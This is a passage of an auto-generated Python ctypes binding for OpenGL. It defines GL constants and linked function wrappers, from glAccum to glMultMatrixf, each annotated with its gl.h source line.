GL_TEXTURE_COMPRESSED = 34465 # /usr/include/GL/gl.h:1171
GL_NUM_COMPRESSED_TEXTURE_FORMATS = 34466 # /usr/include/GL/gl.h:1172
GL_COMPRESSED_TEXTURE_FORMATS = 34467 # /usr/include/GL/gl.h:1173
GL_DOT3_RGB = 34478 # /usr/include/GL/gl.h:1174
GL_DOT3_RGBA = 34479 # /usr/include/GL/gl.h:1175
GL_CLAMP_TO_BORDER = 33069 # /usr/include/GL/gl.h:1176
GL_MULTISAMPLE = 32925 # /usr/include/GL/gl.h:1177
GL_SAMPLE_ALPHA_TO_COVERAGE = 32926 # /usr/include/GL/gl.h:1178
GL_SAMPLE_ALPHA_TO_ONE = 32927 # /usr/include/GL/gl.h:1179
GL_SAMPLE_COVERAGE = 32928 # /usr/include/GL/gl.h:1180
GL_SAMPLE_BUFFERS = 32936 # /usr/include/GL/gl.h:1181
GL_SAMPLES = 32937 # /usr/include/GL/gl.h:1182
GL_SAMPLE_COVERAGE_VALUE = 32938 # /usr/include/GL/gl.h:1183
GL_SAMPLE_COVERAGE_INVERT = 32939 # /usr/include/GL/gl.h:1184
GL_MULTISAMPLE_BIT = 536870912 # /usr/include/GL/gl.h:1185
GL_VERTEX_ARRAY_EXT = 32884 # /usr/include/GL/gl.h:1188
GL_NORMAL_ARRAY_EXT = 32885 # /usr/include/GL/gl.h:1189
GL_COLOR_ARRAY_EXT = 32886 # /usr/include/GL/gl.h:1190
GL_INDEX_ARRAY_EXT = 32887 # /usr/include/GL/gl.h:1191
GL_TEXTURE_COORD_ARRAY_EXT = 32888 # /usr/include/GL/gl.h:1192
GL_EDGE_FLAG_ARRAY_EXT = 32889 # /usr/include/GL/gl.h:1193
GL_VERTEX_ARRAY_SIZE_EXT = 32890 # /usr/include/GL/gl.h:1194
GL_VERTEX_ARRAY_TYPE_EXT = 32891 # /usr/include/GL/gl.h:1195
GL_VERTEX_ARRAY_STRIDE_EXT = 32892 # /usr/include/GL/gl.h:1196
GL_VERTEX_ARRAY_COUNT_EXT = 32893 # /usr/include/GL/gl.h:1197
GL_NORMAL_ARRAY_TYPE_EXT = 32894 # /usr/include/GL/gl.h:1198
GL_NORMAL_ARRAY_STRIDE_EXT = 32895 # /usr/include/GL/gl.h:1199
GL_NORMAL_ARRAY_COUNT_EXT = 32896 # /usr/include/GL/gl.h:1200
GL_COLOR_ARRAY_SIZE_EXT = 32897 # /usr/include/GL/gl.h:1201
GL_COLOR_ARRAY_TYPE_EXT = 32898 # /usr/include/GL/gl.h:1202
GL_COLOR_ARRAY_STRIDE_EXT = 32899 # /usr/include/GL/gl.h:1203
GL_COLOR_ARRAY_COUNT_EXT = 32900 # /usr/include/GL/gl.h:1204
GL_INDEX_ARRAY_TYPE_EXT = 32901 # /usr/include/GL/gl.h:1205
GL_INDEX_ARRAY_STRIDE_EXT = 32902 # /usr/include/GL/gl.h:1206
GL_INDEX_ARRAY_COUNT_EXT = 32903 # /usr/include/GL/gl.h:1207
GL_TEXTURE_COORD_ARRAY_SIZE_EXT = 32904 # /usr/include/GL/gl.h:1208
GL_TEXTURE_COORD_ARRAY_TYPE_EXT = 32905 # /usr/include/GL/gl.h:1209
GL_TEXTURE_COORD_ARRAY_STRIDE_EXT = 32906 # /usr/include/GL/gl.h:1210
GL_TEXTURE_COORD_ARRAY_COUNT_EXT = 32907 # /usr/include/GL/gl.h:1211
GL_EDGE_FLAG_ARRAY_STRIDE_EXT = 32908 # /usr/include/GL/gl.h:1212
GL_EDGE_FLAG_ARRAY_COUNT_EXT = 32909 # /usr/include/GL/gl.h:1213
GL_VERTEX_ARRAY_POINTER_EXT = 32910 # /usr/include/GL/gl.h:1214
GL_NORMAL_ARRAY_POINTER_EXT = 32911 # /usr/include/GL/gl.h:1215
GL_COLOR_ARRAY_POINTER_EXT = 32912 # /usr/include/GL/gl.h:1216
GL_INDEX_ARRAY_POINTER_EXT = 32913 # /usr/include/GL/gl.h:1217
GL_TEXTURE_COORD_ARRAY_POINTER_EXT = 32914 # /usr/include/GL/gl.h:1218
GL_EDGE_FLAG_ARRAY_POINTER_EXT = 32915 # /usr/include/GL/gl.h:1219
GL_TEXTURE_MIN_LOD_SGIS = 33082 # /usr/include/GL/gl.h:1222
GL_TEXTURE_MAX_LOD_SGIS = 33083 # /usr/include/GL/gl.h:1223
GL_TEXTURE_BASE_LEVEL_SGIS = 33084 # /usr/include/GL/gl.h:1224
GL_TEXTURE_MAX_LEVEL_SGIS = 33085 # /usr/include/GL/gl.h:1225
GL_SHARED_TEXTURE_PALETTE_EXT = 33275 # /usr/include/GL/gl.h:1228
GL_RESCALE_NORMAL_EXT = 32826 # /usr/include/GL/gl.h:1231
GL_TEXTURE_COMPARE_SGIX = 33178 # /usr/include/GL/gl.h:1234
GL_TEXTURE_COMPARE_OPERATOR_SGIX = 33179 # /usr/include/GL/gl.h:1235
GL_TEXTURE_LEQUAL_R_SGIX = 33180 # /usr/include/GL/gl.h:1236
GL_TEXTURE_GEQUAL_R_SGIX = 33181 # /usr/include/GL/gl.h:1237
GL_DEPTH_COMPONENT16_SGIX = 33189 # /usr/include/GL/gl.h:1240
GL_DEPTH_COMPONENT24_SGIX = 33190 # /usr/include/GL/gl.h:1241
GL_DEPTH_COMPONENT32_SGIX = 33191 # /usr/include/GL/gl.h:1242
GL_GENERATE_MIPMAP_SGIS = 33169 # /usr/include/GL/gl.h:1245
GL_GENERATE_MIPMAP_HINT_SGIS = 33170 # /usr/include/GL/gl.h:1246
GL_POINT_SIZE_MIN = 33062 # /usr/include/GL/gl.h:1249
GL_POINT_SIZE_MAX = 33063 # /usr/include/GL/gl.h:1250
GL_POINT_FADE_THRESHOLD_SIZE = 33064 # /usr/include/GL/gl.h:1251
GL_POINT_DISTANCE_ATTENUATION = 33065 # /usr/include/GL/gl.h:1252
GL_FOG_COORDINATE_SOURCE = 33872 # /usr/include/GL/gl.h:1253
GL_FOG_COORDINATE = 33873 # /usr/include/GL/gl.h:1254
GL_FRAGMENT_DEPTH = 33874 # /usr/include/GL/gl.h:1255
GL_CURRENT_FOG_COORDINATE = 33875 # /usr/include/GL/gl.h:1256
GL_FOG_COORDINATE_ARRAY_TYPE = 33876 # /usr/include/GL/gl.h:1257
GL_FOG_COORDINATE_ARRAY_STRIDE = 33877 # /usr/include/GL/gl.h:1258
GL_FOG_COORDINATE_ARRAY_POINTER = 33878 # /usr/include/GL/gl.h:1259
GL_FOG_COORDINATE_ARRAY = 33879 # /usr/include/GL/gl.h:1260
GL_COLOR_SUM = 33880 # /usr/include/GL/gl.h:1261
GL_CURRENT_SECONDARY_COLOR = 33881 # /usr/include/GL/gl.h:1262
GL_SECONDARY_COLOR_ARRAY_SIZE = 33882 # /usr/include/GL/gl.h:1263
GL_SECONDARY_COLOR_ARRAY_TYPE = 33883 # /usr/include/GL/gl.h:1264
GL_SECONDARY_COLOR_ARRAY_STRIDE = 33884 # /usr/include/GL/gl.h:1265
GL_SECONDARY_COLOR_ARRAY_POINTER = 33885 # /usr/include/GL/gl.h:1266
GL_SECONDARY_COLOR_ARRAY = 33886 # /usr/include/GL/gl.h:1267
GL_INCR_WRAP = 34055 # /usr/include/GL/gl.h:1268
GL_DECR_WRAP = 34056 # /usr/include/GL/gl.h:1269
GL_MAX_TEXTURE_LOD_BIAS = 34045 # /usr/include/GL/gl.h:1270
GL_TEXTURE_FILTER_CONTROL = 34048 # /usr/include/GL/gl.h:1271
GL_TEXTURE_LOD_BIAS = 34049 # /usr/include/GL/gl.h:1272
GL_GENERATE_MIPMAP = 33169 # /usr/include/GL/gl.h:1273
GL_GENERATE_MIPMAP_HINT = 33170 # /usr/include/GL/gl.h:1274
GL_BLEND_DST_RGB = 32968 # /usr/include/GL/gl.h:1275
GL_BLEND_SRC_RGB = 32969 # /usr/include/GL/gl.h:1276
GL_BLEND_DST_ALPHA = 32970 # /usr/include/GL/gl.h:1277
GL_BLEND_SRC_ALPHA = 32971 # /usr/include/GL/gl.h:1278
GL_MIRRORED_REPEAT = 33648 # /usr/include/GL/gl.h:1279
GL_DEPTH_COMPONENT16 = 33189 # /usr/include/GL/gl.h:1280
GL_DEPTH_COMPONENT24 = 33190 # /usr/include/GL/gl.h:1281
GL_DEPTH_COMPONENT32 = 33191 # /usr/include/GL/gl.h:1282
GL_TEXTURE_DEPTH_SIZE = 34890 # /usr/include/GL/gl.h:1283
GL_DEPTH_TEXTURE_MODE = 34891 # /usr/include/GL/gl.h:1284
GL_TEXTURE_COMPARE_MODE = 34892 # /usr/include/GL/gl.h:1285
GL_TEXTURE_COMPARE_FUNC = 34893 # /usr/include/GL/gl.h:1286
GL_COMPARE_R_TO_TEXTURE = 34894 # /usr/include/GL/gl.h:1287
# /usr/include/GL/gl.h:1291
glAccum = _link_function('glAccum', None, [GLenum, GLfloat], None)
# /usr/include/GL/gl.h:1292
glAlphaFunc = _link_function('glAlphaFunc', None, [GLenum, GLclampf], None)
# /usr/include/GL/gl.h:1293
glAreTexturesResident = _link_function('glAreTexturesResident', GLboolean, [GLsizei, POINTER(GLuint), POINTER(GLboolean)], None)
# /usr/include/GL/gl.h:1294
glArrayElement = _link_function('glArrayElement', None, [GLint], None)
# /usr/include/GL/gl.h:1295
glBegin = _link_function('glBegin', None, [GLenum], None)
# /usr/include/GL/gl.h:1296
glBindTexture = _link_function('glBindTexture', None, [GLenum, GLuint], None)
# /usr/include/GL/gl.h:1297
glBitmap = _link_function('glBitmap', None, [GLsizei, GLsizei, GLfloat, GLfloat, GLfloat, GLfloat, POINTER(GLubyte)], None)
# /usr/include/GL/gl.h:1298
glBlendFunc = _link_function('glBlendFunc', None, [GLenum, GLenum], None)
# /usr/include/GL/gl.h:1299
glCallList = _link_function('glCallList', None, [GLuint], None)
# /usr/include/GL/gl.h:1300
glCallLists = _link_function('glCallLists', None, [GLsizei, GLenum, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1301
glClear = _link_function('glClear', None, [GLbitfield], None)
# /usr/include/GL/gl.h:1302
glClearAccum = _link_function('glClearAccum', None, [GLfloat, GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1303
glClearColor = _link_function('glClearColor', None, [GLclampf, GLclampf, GLclampf, GLclampf], None)
# /usr/include/GL/gl.h:1304
glClearDepth = _link_function('glClearDepth', None, [GLclampd], None)
# /usr/include/GL/gl.h:1305
glClearIndex = _link_function('glClearIndex', None, [GLfloat], None)
# /usr/include/GL/gl.h:1306
glClearStencil = _link_function('glClearStencil', None, [GLint], None)
# /usr/include/GL/gl.h:1307
glClipPlane = _link_function('glClipPlane', None, [GLenum, POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1308
glColor3b = _link_function('glColor3b', None, [GLbyte, GLbyte, GLbyte], None)
# /usr/include/GL/gl.h:1309
glColor3bv = _link_function('glColor3bv', None, [POINTER(GLbyte)], None)
# /usr/include/GL/gl.h:1310
glColor3d = _link_function('glColor3d', None, [GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1311
glColor3dv = _link_function('glColor3dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1312
glColor3f = _link_function('glColor3f', None, [GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1313
glColor3fv = _link_function('glColor3fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1314
glColor3i = _link_function('glColor3i', None, [GLint, GLint, GLint], None)
# /usr/include/GL/gl.h:1315
glColor3iv = _link_function('glColor3iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1316
glColor3s = _link_function('glColor3s', None, [GLshort, GLshort, GLshort], None)
# /usr/include/GL/gl.h:1317
glColor3sv = _link_function('glColor3sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1318
glColor3ub = _link_function('glColor3ub', None, [GLubyte, GLubyte, GLubyte], None)
# /usr/include/GL/gl.h:1319
glColor3ubv = _link_function('glColor3ubv', None, [POINTER(GLubyte)], None)
# /usr/include/GL/gl.h:1320
glColor3ui = _link_function('glColor3ui', None, [GLuint, GLuint, GLuint], None)
# /usr/include/GL/gl.h:1321
glColor3uiv = _link_function('glColor3uiv', None, [POINTER(GLuint)], None)
# /usr/include/GL/gl.h:1322
glColor3us = _link_function('glColor3us', None, [GLushort, GLushort, GLushort], None)
# /usr/include/GL/gl.h:1323
glColor3usv = _link_function('glColor3usv', None, [POINTER(GLushort)], None)
# /usr/include/GL/gl.h:1324
glColor4b = _link_function('glColor4b', None, [GLbyte, GLbyte, GLbyte, GLbyte], None)
# /usr/include/GL/gl.h:1325
glColor4bv = _link_function('glColor4bv', None, [POINTER(GLbyte)], None)
# /usr/include/GL/gl.h:1326
glColor4d = _link_function('glColor4d', None, [GLdouble, GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1327
glColor4dv = _link_function('glColor4dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1328
glColor4f = _link_function('glColor4f', None, [GLfloat, GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1329
glColor4fv = _link_function('glColor4fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1330
glColor4i = _link_function('glColor4i', None, [GLint, GLint, GLint, GLint], None)
# /usr/include/GL/gl.h:1331
glColor4iv = _link_function('glColor4iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1332
glColor4s = _link_function('glColor4s', None, [GLshort, GLshort, GLshort, GLshort], None)
# /usr/include/GL/gl.h:1333
glColor4sv = _link_function('glColor4sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1334
glColor4ub = _link_function('glColor4ub', None, [GLubyte, GLubyte, GLubyte, GLubyte], None)
# /usr/include/GL/gl.h:1335
glColor4ubv = _link_function('glColor4ubv', None, [POINTER(GLubyte)], None)
# /usr/include/GL/gl.h:1336
glColor4ui = _link_function('glColor4ui', None, [GLuint, GLuint, GLuint, GLuint], None)
# /usr/include/GL/gl.h:1337
glColor4uiv = _link_function('glColor4uiv', None, [POINTER(GLuint)], None)
# /usr/include/GL/gl.h:1338
glColor4us = _link_function('glColor4us', None, [GLushort, GLushort, GLushort, GLushort], None)
# /usr/include/GL/gl.h:1339
glColor4usv = _link_function('glColor4usv', None, [POINTER(GLushort)], None)
# /usr/include/GL/gl.h:1340
glColorMask = _link_function('glColorMask', None, [GLboolean, GLboolean, GLboolean, GLboolean], None)
# /usr/include/GL/gl.h:1341
glColorMaterial = _link_function('glColorMaterial', None, [GLenum, GLenum], None)
# /usr/include/GL/gl.h:1342
glColorPointer = _link_function('glColorPointer', None, [GLint, GLenum, GLsizei, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1343
glCopyPixels = _link_function('glCopyPixels', None, [GLint, GLint, GLsizei, GLsizei, GLenum], None)
# /usr/include/GL/gl.h:1344
glCopyTexImage1D = _link_function('glCopyTexImage1D', None, [GLenum, GLint, GLenum, GLint, GLint, GLsizei, GLint], None)
# /usr/include/GL/gl.h:1345
glCopyTexImage2D = _link_function('glCopyTexImage2D', None, [GLenum, GLint, GLenum, GLint, GLint, GLsizei, GLsizei, GLint], None)
# /usr/include/GL/gl.h:1346
glCopyTexSubImage1D = _link_function('glCopyTexSubImage1D', None, [GLenum, GLint, GLint, GLint, GLint, GLsizei], None)
# /usr/include/GL/gl.h:1347
glCopyTexSubImage2D = _link_function('glCopyTexSubImage2D', None, [GLenum, GLint, GLint, GLint, GLint, GLint, GLsizei, GLsizei], None)
# /usr/include/GL/gl.h:1348
glCullFace = _link_function('glCullFace', None, [GLenum], None)
# /usr/include/GL/gl.h:1349
glDeleteLists = _link_function('glDeleteLists', None, [GLuint, GLsizei], None)
# /usr/include/GL/gl.h:1350
glDeleteTextures = _link_function('glDeleteTextures', None, [GLsizei, POINTER(GLuint)], None)
# /usr/include/GL/gl.h:1351
glDepthFunc = _link_function('glDepthFunc', None, [GLenum], None)
# /usr/include/GL/gl.h:1352
glDepthMask = _link_function('glDepthMask', None, [GLboolean], None)
# /usr/include/GL/gl.h:1353
glDepthRange = _link_function('glDepthRange', None, [GLclampd, GLclampd], None)
# /usr/include/GL/gl.h:1354
glDisable = _link_function('glDisable', None, [GLenum], None)
# /usr/include/GL/gl.h:1355
glDisableClientState = _link_function('glDisableClientState', None, [GLenum], None)
# /usr/include/GL/gl.h:1356
glDrawArrays = _link_function('glDrawArrays', None, [GLenum, GLint, GLsizei], None)
# /usr/include/GL/gl.h:1357
glDrawBuffer = _link_function('glDrawBuffer', None, [GLenum], None)
# /usr/include/GL/gl.h:1358
glDrawElements = _link_function('glDrawElements', None, [GLenum, GLsizei, GLenum, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1359
glDrawPixels = _link_function('glDrawPixels', None, [GLsizei, GLsizei, GLenum, GLenum, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1360
glEdgeFlag = _link_function('glEdgeFlag', None, [GLboolean], None)
# /usr/include/GL/gl.h:1361
glEdgeFlagPointer = _link_function('glEdgeFlagPointer', None, [GLsizei, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1362
glEdgeFlagv = _link_function('glEdgeFlagv', None, [POINTER(GLboolean)], None)
# /usr/include/GL/gl.h:1363
glEnable = _link_function('glEnable', None, [GLenum], None)
# /usr/include/GL/gl.h:1364
glEnableClientState = _link_function('glEnableClientState', None, [GLenum], None)
# /usr/include/GL/gl.h:1365
glEnd = _link_function('glEnd', None, [], None)
# /usr/include/GL/gl.h:1366
glEndList = _link_function('glEndList', None, [], None)
# /usr/include/GL/gl.h:1367
glEvalCoord1d = _link_function('glEvalCoord1d', None, [GLdouble], None)
# /usr/include/GL/gl.h:1368
glEvalCoord1dv = _link_function('glEvalCoord1dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1369
glEvalCoord1f = _link_function('glEvalCoord1f', None, [GLfloat], None)
# /usr/include/GL/gl.h:1370
glEvalCoord1fv = _link_function('glEvalCoord1fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1371
glEvalCoord2d = _link_function('glEvalCoord2d', None, [GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1372
glEvalCoord2dv = _link_function('glEvalCoord2dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1373
glEvalCoord2f = _link_function('glEvalCoord2f', None, [GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1374
glEvalCoord2fv = _link_function('glEvalCoord2fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1375
glEvalMesh1 = _link_function('glEvalMesh1', None, [GLenum, GLint, GLint], None)
# /usr/include/GL/gl.h:1376
glEvalMesh2 = _link_function('glEvalMesh2', None, [GLenum, GLint, GLint, GLint, GLint], None)
# /usr/include/GL/gl.h:1377
glEvalPoint1 = _link_function('glEvalPoint1', None, [GLint], None)
# /usr/include/GL/gl.h:1378
glEvalPoint2 = _link_function('glEvalPoint2', None, [GLint, GLint], None)
# /usr/include/GL/gl.h:1379
glFeedbackBuffer = _link_function('glFeedbackBuffer', None, [GLsizei, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1380
glFinish = _link_function('glFinish', None, [], None)
# /usr/include/GL/gl.h:1381
glFlush = _link_function('glFlush', None, [], None)
# /usr/include/GL/gl.h:1382
glFogf = _link_function('glFogf', None, [GLenum, GLfloat], None)
# /usr/include/GL/gl.h:1383
glFogfv = _link_function('glFogfv', None, [GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1384
glFogi = _link_function('glFogi', None, [GLenum, GLint], None)
# /usr/include/GL/gl.h:1385
glFogiv = _link_function('glFogiv', None, [GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1386
glFrontFace = _link_function('glFrontFace', None, [GLenum], None)
# /usr/include/GL/gl.h:1387
glFrustum = _link_function('glFrustum', None, [GLdouble, GLdouble, GLdouble, GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1388
glGenLists = _link_function('glGenLists', GLuint, [GLsizei], None)
# /usr/include/GL/gl.h:1389
glGenTextures = _link_function('glGenTextures', None, [GLsizei, POINTER(GLuint)], None)
# /usr/include/GL/gl.h:1390
glGetBooleanv = _link_function('glGetBooleanv', None, [GLenum, POINTER(GLboolean)], None)
# /usr/include/GL/gl.h:1391
glGetClipPlane = _link_function('glGetClipPlane', None, [GLenum, POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1392
glGetDoublev = _link_function('glGetDoublev', None, [GLenum, POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1393
glGetError = _link_function('glGetError', GLenum, [], None)
# /usr/include/GL/gl.h:1394
glGetFloatv = _link_function('glGetFloatv', None, [GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1395
glGetIntegerv = _link_function('glGetIntegerv', None, [GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1396
glGetLightfv = _link_function('glGetLightfv', None, [GLenum, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1397
glGetLightiv = _link_function('glGetLightiv', None, [GLenum, GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1398
glGetMapdv = _link_function('glGetMapdv', None, [GLenum, GLenum, POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1399
glGetMapfv = _link_function('glGetMapfv', None, [GLenum, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1400
glGetMapiv = _link_function('glGetMapiv', None, [GLenum, GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1401
glGetMaterialfv = _link_function('glGetMaterialfv', None, [GLenum, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1402
glGetMaterialiv = _link_function('glGetMaterialiv', None, [GLenum, GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1403
glGetPixelMapfv = _link_function('glGetPixelMapfv', None, [GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1404
glGetPixelMapuiv = _link_function('glGetPixelMapuiv', None, [GLenum, POINTER(GLuint)], None)
# /usr/include/GL/gl.h:1405
glGetPixelMapusv = _link_function('glGetPixelMapusv', None, [GLenum, POINTER(GLushort)], None)
# /usr/include/GL/gl.h:1406
glGetPointerv = _link_function('glGetPointerv', None, [GLenum, POINTER(POINTER(GLvoid))], None)
# /usr/include/GL/gl.h:1407
glGetPolygonStipple = _link_function('glGetPolygonStipple', None, [POINTER(GLubyte)], None)
# /usr/include/GL/gl.h:1408
glGetString = _link_function('glGetString', POINTER(GLubyte), [GLenum], None)
# /usr/include/GL/gl.h:1409
glGetTexEnvfv = _link_function('glGetTexEnvfv', None, [GLenum, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1410
glGetTexEnviv = _link_function('glGetTexEnviv', None, [GLenum, GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1411
glGetTexGendv = _link_function('glGetTexGendv', None, [GLenum, GLenum, POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1412
glGetTexGenfv = _link_function('glGetTexGenfv', None, [GLenum, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1413
glGetTexGeniv = _link_function('glGetTexGeniv', None, [GLenum, GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1414
glGetTexImage = _link_function('glGetTexImage', None, [GLenum, GLint, GLenum, GLenum, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1415
glGetTexLevelParameterfv = _link_function('glGetTexLevelParameterfv', None, [GLenum, GLint, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1416
glGetTexLevelParameteriv = _link_function('glGetTexLevelParameteriv', None, [GLenum, GLint, GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1417
glGetTexParameterfv = _link_function('glGetTexParameterfv', None, [GLenum, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1418
glGetTexParameteriv = _link_function('glGetTexParameteriv', None, [GLenum, GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1419
glHint = _link_function('glHint', None, [GLenum, GLenum], None)
# /usr/include/GL/gl.h:1420
glIndexMask = _link_function('glIndexMask', None, [GLuint], None)
# /usr/include/GL/gl.h:1421
glIndexPointer = _link_function('glIndexPointer', None, [GLenum, GLsizei, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1422
glIndexd = _link_function('glIndexd', None, [GLdouble], None)
# /usr/include/GL/gl.h:1423
glIndexdv = _link_function('glIndexdv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1424
glIndexf = _link_function('glIndexf', None, [GLfloat], None)
# /usr/include/GL/gl.h:1425
glIndexfv = _link_function('glIndexfv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1426
glIndexi = _link_function('glIndexi', None, [GLint], None)
# /usr/include/GL/gl.h:1427
glIndexiv = _link_function('glIndexiv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1428
glIndexs = _link_function('glIndexs', None, [GLshort], None)
# /usr/include/GL/gl.h:1429
glIndexsv = _link_function('glIndexsv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1430
glIndexub = _link_function('glIndexub', None, [GLubyte], None)
# /usr/include/GL/gl.h:1431
glIndexubv = _link_function('glIndexubv', None, [POINTER(GLubyte)], None)
# /usr/include/GL/gl.h:1432
glInitNames = _link_function('glInitNames', None, [], None)
# /usr/include/GL/gl.h:1433
glInterleavedArrays = _link_function('glInterleavedArrays', None, [GLenum, GLsizei, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1434
glIsEnabled = _link_function('glIsEnabled', GLboolean, [GLenum], None)
# /usr/include/GL/gl.h:1435
glIsList = _link_function('glIsList', GLboolean, [GLuint], None)
# /usr/include/GL/gl.h:1436
glIsTexture = _link_function('glIsTexture', GLboolean, [GLuint], None)
# /usr/include/GL/gl.h:1437
glLightModelf = _link_function('glLightModelf', None, [GLenum, GLfloat], None)
# /usr/include/GL/gl.h:1438
glLightModelfv = _link_function('glLightModelfv', None, [GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1439
glLightModeli = _link_function('glLightModeli', None, [GLenum, GLint], None)
# /usr/include/GL/gl.h:1440
glLightModeliv = _link_function('glLightModeliv', None, [GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1441
glLightf = _link_function('glLightf', None, [GLenum, GLenum, GLfloat], None)
# /usr/include/GL/gl.h:1442
glLightfv = _link_function('glLightfv', None, [GLenum, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1443
glLighti = _link_function('glLighti', None, [GLenum, GLenum, GLint], None)
# /usr/include/GL/gl.h:1444
glLightiv = _link_function('glLightiv', None, [GLenum, GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1445
glLineStipple = _link_function('glLineStipple', None, [GLint, GLushort], None)
# /usr/include/GL/gl.h:1446
glLineWidth = _link_function('glLineWidth', None, [GLfloat], None)
# /usr/include/GL/gl.h:1447
glListBase = _link_function('glListBase', None, [GLuint], None)
# /usr/include/GL/gl.h:1448
glLoadIdentity = _link_function('glLoadIdentity', None, [], None)
# /usr/include/GL/gl.h:1449
glLoadMatrixd = _link_function('glLoadMatrixd', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1450
glLoadMatrixf = _link_function('glLoadMatrixf', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1451
glLoadName = _link_function('glLoadName', None, [GLuint], None)
# /usr/include/GL/gl.h:1452
glLogicOp = _link_function('glLogicOp', None, [GLenum], None)
# /usr/include/GL/gl.h:1453
glMap1d = _link_function('glMap1d', None, [GLenum, GLdouble, GLdouble, GLint, GLint, POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1454
glMap1f = _link_function('glMap1f', None, [GLenum, GLfloat, GLfloat, GLint, GLint, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1455
glMap2d = _link_function('glMap2d', None, [GLenum, GLdouble, GLdouble, GLint, GLint, GLdouble, GLdouble, GLint, GLint, POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1456
glMap2f = _link_function('glMap2f', None, [GLenum, GLfloat, GLfloat, GLint, GLint, GLfloat, GLfloat, GLint, GLint, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1457
glMapGrid1d = _link_function('glMapGrid1d', None, [GLint, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1458
glMapGrid1f = _link_function('glMapGrid1f', None, [GLint, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1459
glMapGrid2d = _link_function('glMapGrid2d', None, [GLint, GLdouble, GLdouble, GLint, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1460
glMapGrid2f = _link_function('glMapGrid2f', None, [GLint, GLfloat, GLfloat, GLint, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1461
glMaterialf = _link_function('glMaterialf', None, [GLenum, GLenum, GLfloat], None)
# /usr/include/GL/gl.h:1462
glMaterialfv = _link_function('glMaterialfv', None, [GLenum, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1463
glMateriali = _link_function('glMateriali', None, [GLenum, GLenum, GLint], None)
# /usr/include/GL/gl.h:1464
glMaterialiv = _link_function('glMaterialiv', None, [GLenum, GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1465
glMatrixMode = _link_function('glMatrixMode', None, [GLenum], None)
# /usr/include/GL/gl.h:1466
glMultMatrixd = _link_function('glMultMatrixd', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1467
glMultMatrixf = _link_function('glMultMatrixf', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1468
